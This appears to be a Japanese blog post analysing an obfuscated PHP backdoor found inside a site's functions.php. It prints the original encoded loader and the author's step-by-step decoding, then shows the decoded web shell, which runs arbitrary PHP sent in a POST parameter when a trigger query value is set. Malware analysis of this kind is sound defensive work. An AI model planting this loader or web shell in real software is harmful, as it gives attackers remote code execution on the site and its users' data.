$O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A"); $O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30}; $O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24}; $OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}.$O0OO00{1}.$O00OO0{24}; $OO0000=$O00OO0{7}.$O00OO0{13};$O00O0O.=$O00OO0{22}.$O00OO0{36}.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30}; eval($O00O0O("JE8wTzAwMD0iUHh0RFFxZnpZYWhtd0N2Wk51QmpMWHNNVWtJS0piSEVXT2dGeVZBU0dpUm5sVGRjcm9wZU5GU0JIREpreFViS1lDc0VHWHRmakl3cW5ocEF6Z1JsV1Z2ZW9UeW1hdUxkaU9yY1BaUU1OQjlZVVJ5R0N1TEtyV1NGcEIwdkhDTEpMMFRuV29yS3JXU0Z6MTA3cGFpS0FDTEtyV1NGcEIwOXBDcjB6b2k3RVdHWmdvYnlFSUViZ0N2aEkxdE5uMUxnejJFMXgyUzVnM24wcWtwRnoxMFFBT1NpTWFpMFYzMEdDS1RmVWE4dnhJdFFuS1RGcldUa3JDdlFWWTBBRWRUWHgzTFFnMjR2eEl0UW5LVEZyV1RrckN2UU1ZMEFDV2lLQWx5aEkwcmVUZXdkZzN5ZElteTlObXlkeDJiaXgyd2RBSDBBQ0hpN0JIWnpDbXRvRUlMMWNLNHZwS0dzZ0s1aXgzTER4SzFzcktUUWMyOVBwZndHQ3ZoenBhVDRVSUhaQU93R0N2aHZwQ3l2SkgwQUpIMEFOazQ9IjtldmFsKCc/PicuJE8wME8wTygkTzBPTzAwKCRPTzBPMDAoJE8wTzAwMCwkT08wMDAwKjIpLCRPTzBPMDAoJE8wTzAwMCwkT08wMDAwLCRPTzAwMDApLCRPTzBPMDAoJE8wTzAwMCwwLCRPTzAwMDApKSkpOw==")); //オリジナルコードここまで
(本当のオリジナルコードは1行になってましたが、セミコロンで改行してます)
一つ一つ分解していきたいと思います。
3行目,4行目,5行目の頻出である$O00OO0を詳細出力
echo "<pre>"; var_dump($O00OO0); echo "</pre>"; //結果string(42) "n1zb/ma5\vt0i28-pxuqy*6lrkdg9_ehcswo4+f37j" //ランダムな文字列から意味のある文字列を生成?
echo "<pre>"; var_dump($O00O0O); echo "</pre>"; //結果string(5) "strtr" echo "<pre>"; var_dump($O0OO00); echo "</pre>"; //結果string(13) "base64_decode" echo "<pre>"; var_dump($OO0O00); echo "</pre>"; //string(6) "substr" echo "<pre>"; var_dump($OO0000); echo "</pre>"; //結果string(2) "52"
つまりデコードするとランダム文字列ができる。
それを並び替えして、strstr,base64_decode_substr_,52という文字列ができるんですね。
そんなこんなで一個一個辿って行くとこういうコードが出てきましたよ〜と。
functions.phpにこんなコードが埋め込まれてたとは、、、
fu◯kyouには笑ったw
<?php $fukq = @$_GET['fukq']; if($fukq == 't'){echo(@eval($_POST['fuckyou4321'])); exit; } echo apiRequest(); function apiRequest(){ if(@$_GET['op'] == 'check') { return "connectjbmoveisok"; exit(); } }